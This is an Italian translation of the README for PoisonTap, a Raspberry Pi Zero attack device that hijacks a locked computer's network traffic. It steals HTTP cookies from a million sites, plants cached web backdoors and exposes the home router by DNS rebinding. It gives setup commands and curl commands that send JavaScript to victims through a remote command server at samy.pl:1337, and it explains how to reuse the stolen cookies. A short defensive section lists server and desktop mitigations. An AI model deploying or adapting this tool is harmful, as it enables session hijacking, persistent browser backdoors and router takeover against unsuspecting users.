PoisonTap - sottrae cookie, espone il router interno e installa backdoor web su computer bloccati
Creato da @SamyKamkar || https://samy.pl
Quando PoisonTap (Raspberry Pi Zero e Node.js) viene collegato a un computer bloccato/protetto da password, esso:
- emula un dispositivo Ethernet tramite USB (o Thunderbolt)
- dirotta tutto il traffico Internet della macchina (nonostante sia un'interfaccia di rete a bassa priorità/sconosciuta)
- sottrae e memorizza cookie e sessioni HTTP dal browser web per i primi 1.000.000 di siti web Alexa
- espone il router interno all'attaccante, rendendolo accessibile da remoto tramite WebSocket in uscita e DNS rebinding (grazie a Matt Austin per l'idea del rebinding!)
- installa una backdoor web persistente nella cache HTTP per centinaia di migliaia di domini e URL Javascript CDN comuni, tutti con accesso ai cookie dell'utente tramite cache poisoning
- consente all'attaccante di forzare da remoto l'utente a effettuare richieste HTTP e a inoltrare indietro le risposte (GET e POST) con i cookie dell'utente su qualsiasi dominio backdoorato
- non richiede che la macchina venga sbloccata
- le backdoor e l'accesso remoto persistono anche dopo la rimozione del dispositivo e dopo che l'attaccante se ne va
(incredibile animazione HTML5 canvas di Ara)
PoisonTap elude i seguenti meccanismi di sicurezza:
Demo
PoisonTap è progettato per il Raspberry Pi Zero da $5 senza componenti aggiuntivi oltre a un cavo micro-USB e una scheda microSD, oppure può funzionare su qualsiasi Raspberry Pi (1/2/3) con un adattatore Ethernet-to-USB/Thunderbolt, oppure su altri dispositivi in grado di emulare gadget USB come USB Armory e LAN Turtle.
Dimostrazione dal vivo e maggiori dettagli disponibili nel video:
Punto di contatto: @SamyKamkar // https://samy.pl
Rilasciato: 16 novembre 2016
Codice sorgente e download: https://github.com/samyk/poisontap
Come funziona PoisonTap
PoisonTap produce un effetto a cascata sfruttando la fiducia esistente in vari meccanismi di una macchina e di una rete, tra cui USB/Thunderbolt, DHCP, DNS e HTTP, per generare un effetto valanga di esfiltrazione di informazioni, accesso alla rete e installazione di backdoor semi-permanenti.
In poche parole, PoisonTap esegue le seguenti operazioni:
Dirottamento della rete
- L'attaccante collega PoisonTap (ad esempio un Raspberry Pi Zero "armato") a un computer bloccato (anche se protetto da password)
- PoisonTap emula un dispositivo Ethernet (ad es., Ethernet over USB/Thunderbolt) -- di default, Windows, OS X e Linux riconoscono un dispositivo ethernet, caricandolo automaticamente come dispositivo di rete a bassa priorità ed eseguendo una richiesta DHCP su di esso, anche quando la macchina è bloccata o protetta da password
- PoisonTap risponde alla richiesta DHCP e fornisce alla macchina un indirizzo IP, tuttavia la risposta DHCP è costruita per comunicare alla macchina che l'intero spazio IPv4 (0.0.0.0 - 255.255.255.255) fa parte della rete locale di PoisonTap, anziché una piccola sottorete (ad es. 192.168.0.0 - 192.168.0.255)
- Normalmente sarebbe irrilevante se un dispositivo di rete secondario si connettesse a una macchina, poiché gli verrebbe data una priorità inferiore rispetto al dispositivo di rete esistente (attendibile) e non sostituirebbe il gateway per il traffico Internet, ma...
- Qualsiasi sicurezza basata su tabella di routing / priorità del gateway / ordine di servizio delle interfacce di rete viene bypassata a causa della priorità del "traffico LAN" rispetto al "traffico Internet"
- PoisonTap sfrutta questo accesso alla rete, anche come dispositivo di rete a bassa priorità, perché la sottorete di un dispositivo di rete a bassa priorità riceve priorità più alta rispetto al gateway (rotta predefinita) del dispositivo di rete a priorità più alta
- Ciò significa che se il traffico è destinato a 1.2.3.4, mentre normalmente questo traffico colpirebbe la rotta predefinita/gateway del dispositivo di rete primario (non-PoisonTap), in realtà PoisonTap riceve il traffico perché la rete/sottorete "locale" di PoisonTap presumibilmente contiene 1.2.3.4 e ogni altro indirizzo IP esistente ;)
- Per questo motivo, tutto il traffico Internet passa attraverso PoisonTap, anche se la macchina è connessa a un altro dispositivo di rete con priorità più alta e gateway corretto (il vero wifi, ethernet, ecc.)
Sottrazione di cookie
- Finché un browser web è in esecuzione in background, è probabile che una delle pagine aperte esegua una richiesta HTTP in background (ad esempio per caricare un nuovo annuncio, inviare dati a una piattaforma di analisi o semplicemente continuare a tracciare i tuoi movimenti sul web) tramite AJAX o tag script/iframe dinamici
- Puoi verificarlo tu stesso: apri i devtools/ispettore (tipicamente Cmd+Shift+I o Ctrl+Shift+I), vai su un sito molto visitato, clicca sulla scheda Network e osserva come le risorse remote continuano a essere caricate anche mentre non compi alcuna azione sulla pagina
- A questa richiesta HTTP, poiché tutto il traffico esce attraverso il dispositivo PoisonTap, PoisonTap esegue uno spoofing DNS al volo per restituire il proprio indirizzo, facendo sì che la richiesta HTTP colpisca il web server di PoisonTap (Node.js)
- Se il server DNS punta a un IP interno (LAN) per cui PoisonTap non può ottenere privilegi, l'attacco continua a funzionare perché il server DNS interno produrrà indirizzi IP pubblici per i vari domini attaccati, e sono quegli indirizzi IP pubblici che PoisonTap ha già dirottato
- Una volta che il server DNS interno risponde, il browser web colpisce l'IP pubblico, finendo in entrambi gli scenari sul web server di PoisonTap (Node.js)
- Quando il web server Node riceve la richiesta, PoisonTap risponde con una risposta interpretabile come HTML o come Javascript, entrambi eseguibili correttamente (molti siti web caricano HTML o JS in richieste in background)
- La pagina agnostica HTML/JS genera quindi molti iframe nascosti, ciascuno su un dominio diverso della top-1-milione Alexa
- Qualsiasi protezione "X-Frame-Options" sul dominio viene bypassata perché PoisonTap è ora il server HTTP e sceglie quali header inviare al client
- Poiché ogni richiesta HTTP di un iframe verso un sito viene effettuata (ad es., http://nfl.com/PoisonTap), i cookie HTTP vengono inviati dal browser all'"IP pubblico" dirottato da PoisonTap, che registra rapidamente i cookie/le informazioni di autenticazione, registrando decine di migliaia di cookie dell'utente in PoisonTap
- Qualsiasi protezione dei cookie "HttpOnly" viene bypassata e questi cookie vengono catturati poiché nessun Javascript viene eseguito sul dominio stesso, ma viene usato solo per caricare l'iframe in primo luogo
- Qualsiasi sicurezza Cross-Origin Resource Sharing o Same-Origin Policy viene bypassata poiché il dominio a cui si accede appare legittimo al browser
- Poiché catturiamo cookie anziché credenziali, qualsiasi 2FA/MFA implementata sul sito viene quando l'attaccante usa il cookie per accedere. Questo perché non stiamo effettuando la funzione di login ma continuando una sessione già autenticata che attiva l'autenticazione a due fattori
Backdoor web accessibili da remoto
- Mentre PoisonTap produce migliaia di iframe, costringendo il browser a caricare ciascuno di essi, questi iframe non sono affatto semplici pagine vuote, ma piuttosto backdoor HTML+Javascript che vengono memorizzate nella cache a tempo indeterminato
- Poiché PoisonTap forza la memorizzazione nella cache di queste backdoor su ciascun dominio, la backdoor è legata a quel dominio, consentendo all'attaccante di usare i cookie del dominio e lanciare richieste same-origin in futuro, anche se l'utente non è attualmente autenticato
- Ad esempio, quando viene caricato l'iframe http://nfl.com/PoisonTap, PoisonTap accetta il traffico Internet dirottato e risponde alla richiesta HTTP tramite il web server Node
- Vengono aggiunti header HTTP aggiuntivi per memorizzare la pagina nella cache a tempo indeterminato
- La risposta effettiva della pagina è una combinazione di HTML e Javascript che produce un WebSocket persistente verso il web server dell'attaccante (via Internet, non sul dispositivo PoisonTap)
- Il WebSocket rimane aperto consentendo all'attaccante, in qualsiasi momento futuro, di riconnettersi alla macchina backdoorata ed eseguire richieste su qualsiasi origine che abbia la backdoor implementata (i primi 1.000.000 di siti Alexa -- vedi sotto)
- Se la backdoor è aperta su un sito (ad es., nfl.com), ma l'utente desidera attaccare un dominio diverso (ad es., pinterest.com), l'attaccante può caricare un iframe su nfl.com che punta alla backdoor di pinterest.com (http://pinterest.com/PoisonTap)
- Di nuovo, qualsiasi sicurezza "X-Frame-Options", Cross-Origin Resource Sharing e Same-Origin Policy sul dominio viene completamente bypassata poiché la richiesta colpirà la cache lasciata da PoisonTap anziché il vero dominio
Backdoor sul router interno e accesso remoto
- L'unica rete che PoisonTap non è in grado di dirottare è la sottorete LAN effettiva della vera interfaccia di rete (ad esempio, se la sottorete wifi dell'utente è 192.168.0.x, questa rete non viene intaccata), ma...
- PoisonTap forza la memorizzazione nella cache di una backdoor su un host speciale, in particolare l'IP del router di destinazione anteposto a ".ip.samy.pl", ad es. 192.168.0.1.ip.samy.pl, producendo essenzialmente un attacco DNS rebinding persistente
- Quando si usa PoisonTap come server DNS (vittima che usa un server DNS pubblico), PoisonTap risponde temporaneamente con l'IP apposito di PoisonTap (1.0.0.1), il che significa che qualsiasi richiesta in quel momento colpirà il web server di PoisonTap
- Se invece il server DNS è impostato sulla rete interna (ad es., 192.168.0.x), viene effettuata un'ulteriore richiesta appositamente costruita a 1.0.0.1**.pin.**ip.samy.pl che dice al mio server DNS specializzato (sulla Internet pubblica) di rispondere temporaneamente a qualsiasi indirizzo [ip.address].ip.samy.pl con l'indirizzo "pinnato" (1.0.0.1) per alcuni secondi
- PoisonTap imposta quindi rapidamente una backdoor su http://192.168.0.1.ip.samy.pl/PoisonTap, che per il momento punta al dispositivo PoisonTap su 1.0.0.1, consentendo che la backdoor venga raggiunta e memorizzata nella cache dal dispositivo PoisonTap
- La sicurezza del DNS pinning e del DNS rebinding viene bypassata a causa dell'esaurimento della tabella di DNS pinning, dovuto alle centinaia di migliaia di richieste appena effettuate, e non è necessario che avvenga alcun rebinding in futuro, rendendo questo attacco persistente per lunghi periodi di tempo (grazie a Matt Austin per aver condiviso con me questo attacco!)
- Ora che una backdoor è stata forzata nella cache su http://192.168.0.1.ip.samy.pl/PoisonTap, qualsiasi richiesta futura a 192.168.0.1.ip.samy.pl colpirà l'indirizzo IP non pinnato, causando la risoluzione di 192.168.0.1, che punta direttamente al router
- Ciò significa che caricando l'host 192.168.0.1.ip.samy.pl/PoisonTap in un iframe da remoto attraverso la backdoor, puoi ora eseguire AJAX GET/POST verso qualsiasi altra pagina sul router interno, interamente da remoto, consentendo così l'accesso remoto al router interno
- Questo può portare ad altri attacchi al router a cui l'attaccante potrebbe non aver mai avuto accesso in primo luogo, come credenziali admin predefinite sul router usate per sovrascrivere i server DNS, o altre vulnerabilità di autenticazione esposte
Riepilogo del server DNS:
- [ip.addy].ip.samy.pl normalmente risponde con [ip.addy]
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
- [ip.addy].pin.ip.samy.pl temporaneamente (~5 secondi) punta *.ip.samy.pl a [ip.addy]
- 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
- 192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, TTL breve)
- (dopo ~5 secondi)
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
Ulteriori backdoor web accessibili da remoto
- Inoltre, PoisonTap sostituisce migliaia di file Javascript comuni basati su CDN, ad es. i CDN di Google e jQuery, con il codice corretto più una backdoor che dà all'attaccante accesso a qualsiasi dominio che carichi il file Javascript basato su CDN infetto
- Poiché una backdoor viene lasciata su ciascun dominio, ciò consente all'attaccante di forzare da remoto il browser backdoorato a eseguire richieste same-origin (AJAX GET/POST) su praticamente qualsiasi dominio importante, anche se la vittima non ha attualmente finestre aperte su quel dominio
- La backdoor ora vivrà su qualsiasi sito aggiuntivo che usa uno di questi framework Javascript CDN infetti, basati su HTTP, quando la vittima visita il sito
Proteggersi da PoisonTap
Sicurezza lato server
Se gestisci un web server, proteggersi da PoisonTap è semplice:
- Usa esclusivamente HTTPS, almeno per l'autenticazione e i contenuti autenticati
- Onestamente, dovresti usare HTTPS esclusivamente e reindirizzare sempre i contenuti HTTP a HTTPS, impedendo che un utente venga indotto a fornire credenziali o altre PII su HTTP
- Assicurati che il flag Secure sia abilitato sui cookie, impedendo che i cookie HTTPS vengano esposti su HTTP
- Quando usi risorse Javascript remote, utilizza l'attributo del tag script Subresource Integrity
- Usa HSTS per prevenire gli attacchi di downgrade HTTPS
Sicurezza desktop
- Aggiungere cemento alle porte USB e Thunderbolt può essere efficace
- Chiudere il browser ogni volta che ti allontani dalla macchina può funzionare, ma è del tutto impraticabile
- Disabilitare le porte USB/Thunderbolt è anch'esso efficace, sebbene altrettanto impraticabile
- Bloccare il computer non ha alcun effetto poiché gli stack di rete e USB operano mentre la macchina è bloccata; tuttavia, passare a una modalità di sospensione crittografata in cui è richiesta una chiave per decrittare la memoria (ad es., FileVault2 + sospensione profonda) risolve la maggior parte dei problemi poiché il browser non effettuerà più richieste, anche dopo il risveglio
Download
Codice sorgente: https://github.com/samyk/poisontap
Installazione / Suddivisione dei file
Nota: se scopri che il dispositivo NON si comporta automaticamente come controller Ethernet (versioni precedenti di Windows, ad esempio), puoi modificare VID e PID in pi_startup.sh```bash
sudo bash
If Raspbian BEFORE 2016-05-10, then run next line:
BRANCH=next rpi-update
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs
Posiziona dhcpd.conf in /etc/dhcp/dhcpd.conf e il resto dei file in /home/pi/poisontap, quindi riavvia per assicurarti che tutto funzioni.
Ci sono diversi <a href="https://github.com/samyk/poisontap" target=_blank>file nel repository</a>, che vengono utilizzati su lati diversi. L'elenco:
* **backdoor.html** - Ogni volta che viene raggiunto un URL http://hostname/PoisonTap per esfiltrare i cookie, questo file è ciò che viene restituito come contenuto forzato in cache. Contiene una backdoor che apre un websocket in uscita verso samy.pl:1337 (configurabile su qualsiasi host/porta) che rimane aperto in attesa di comandi dal server. Questo significa che quando carichi un iframe su un sito, ad esempio http://hostname/PoisonTap, questo è il contenuto che viene popolato (anche dopo che PoisonTap viene rimosso dalla macchina).
* **backend_server.js** - Questo è il server Node.js che esegui sul tuo server accessibile da Internet. È ciò a cui si connette backdoor.html (es. samy.pl:1337). È lo stesso server a cui ti connetti per inviare comandi alle tue macchine minion PoisonTapped, ad esempio```bash
# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
- pi_poisontap.js - Viene eseguito tramite Node.js sul Raspberry Pi Zero ed è il server HTTP responsabile della gestione di qualsiasi richiesta HTTP intercettata da PoisonTap, dell'archiviazione dei cookie sottratti e dell'iniezione dei backdoor memorizzati nella cache.
- pi_startup.sh - Viene eseguito all'avvio sul Raspberry Pi Zero per configurare il dispositivo in modo che emuli un gadget Ethernet-over-USB, configurare il nostro server DHCP malvagio, consentire il reindirizzamento del traffico, lo spoofing DNS e avviare pi_poisontap.js di cui sopra.
- target_backdoor.js - Questo file viene anteposto a qualsiasi file Javascript relativo ai CDN, in questo modo li trasforma in backdoor, ad es. l'URL jQuery del CDN di Google.
- target_injected_xhtmljs.html - Questo è il codice che viene iniettato nelle richieste HTTP/AJAX involontarie o in background sulla macchina della vittima e dà inizio all'intero attacco. È costruito in modo da poter essere interpretato come HTML o come Javascript ed eseguire comunque lo stesso codice. Inoltre, la straordinaria tela HTML5 è opera dell'incredibile Ara oen CodePen ed era troppo sorprendente per non essere inclusa. Questa è la pazzia grafica che appare quando la pagina viene presa in consegna da PoisonTap.
- poisontap.cookies.log - Questo file viene generato quando la macchina dell'utente inizia a inviare richieste HTTP a PoisonTap e registra il cookie del browser insieme all'URL/dominio associato a cui appartiene.
Domande Frequenti
- D: Come si aggiungono ulteriori domini da trasformare in backdoor?
- R: L'elenco dei domini da trasformare in backdoor è impostato in
target_injected_xhtmljs.html dalla funzione getDoms(). Questo viene a sua volta popolato dallo script alexa1m.sh nella radice del repository. Se desideri aggiungere ulteriori domini a questo elenco, puoi semplicemente modificare la chiamata di ritorno in getDoms().
- D: Come si utilizzano i cookie catturati?
- R: Puoi usare l'API Document.cookie direttamente dalla console JavaScript del tuo browser per impostare i cookie. Questo post su StackOverflow ha anche alcuni suggerimenti specifici per Chrome, ad esempio l'estensione Cookie Inspector per Chrome.
- D: Come rimuovo PoisonTap da una macchina?
- R: Dovresti cancellare la cache DNS locale del sistema operativo, così come qualsiasi cache del browser. Potrebbe anche essere necessario invalidare le sessioni di accesso attive al momento, che potrebbero aver disperso cookie. Assicurati che queste invalidino i cookie esistenti, piuttosto che limitarsi a disconnetterti. (Se vuoi lavorare in sicurezza con un dispositivo PoisonTap sulla tua macchina attuale, assicurati di uscire da qualsiasi browser, poi dovresti essere in grado di collegarlo in sicurezza alla tua macchina).
Contatti
Punto di contatto: @SamyKamkar
Puoi vedere altri miei progetti o contattarmi su https://samy.pl.
